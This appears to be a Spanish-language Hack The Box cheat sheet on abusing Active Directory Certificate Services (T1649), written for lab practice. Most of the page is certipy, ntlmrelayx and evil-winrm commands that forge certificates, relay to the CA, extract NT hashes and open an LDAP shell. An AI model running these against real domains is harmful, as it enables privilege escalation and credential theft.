T1649

Robar o forjar certificados de autenticación

Abusar de Active Directory Certificate Services (ESC1-ESC16) para obtener un certificado a nombre de otro usuario.

Cómo aparece en Hack The Box

Siempre que haya una CA en el dominio, certipy find -vulnerable. Un certificado de administrador se convierte en su hash NT con certipy auth (PKINIT).

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Guías

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Escalada en Windows y Active Directory › Active Directory

Plantillas de certificados vulnerables (ADCS)
certipy-ad find -u '[email protected]' -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout

Active Directory a fondo › ADCS (ESC1–16)

Barrido con Certipy (dice el ESC) Atacante
certipy find -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout
Enumerar la CA con NetExec Atacante
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' -M adcs
Pedir el certificado con otro SAN Atacante
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template VulnTemplate -upn [email protected]
Autenticarse con el cert y sacar el hash NT Atacante
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20
ESC3: pedir un cert de agente y, con él, uno a nombre de otro Atacante
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template EnrollmentAgent
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template User -on-behalf-of 'box.htb\administrator' -pfx agent.pfx
Hacerla vulnerable y restaurarla Atacante
certipy template -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -template VulnTemplate -write-default-configuration
ESC7: darte el permiso Manage Certificates y aprobar tu propia solicitud Atacante
certipy ca -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -add-officer usuario
Relayear a la CA y obtener un cert del equipo Atacante
certipy relay -target 'http://ca.box.htb/certsrv/certfnsh.asp' -template DomainController
Cambiar el UPN de un usuario que controlas y pedir el cert como él Atacante
certipy account update -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -user victima -upn [email protected]
ESC15: aplicación-política con EKU de autenticación de cliente Atacante
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template WebServer -application-policies 'Client Authentication'

Active Directory a fondo › NTLM relay

Relay a la CA (ESC8) para un cert del equipo Atacante
impacket-ntlmrelayx -t http://ca.box.htb/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Active Directory a fondo › Delegación

Añadir una clave y sacar el hash NT con certipy Atacante
certipy shadow auto -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -account victima

Certipy › Cuando PKINIT no funciona

Shell LDAP autenticada con el certificado
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20 -ldap-shell

Si el DC no admite PKINIT (KDC_ERR_PADATA_TYPE_NOSUPP), entra por LDAPS con Schannel y desde ahí cambia una contraseña o configura RBCD.

Evil-WinRM › Formas de autenticarse

Con un certificado (por ejemplo, de ADCS)
evil-winrm -i 10.10.11.20 -S -c certificado.crt -k clave.key

Herramientas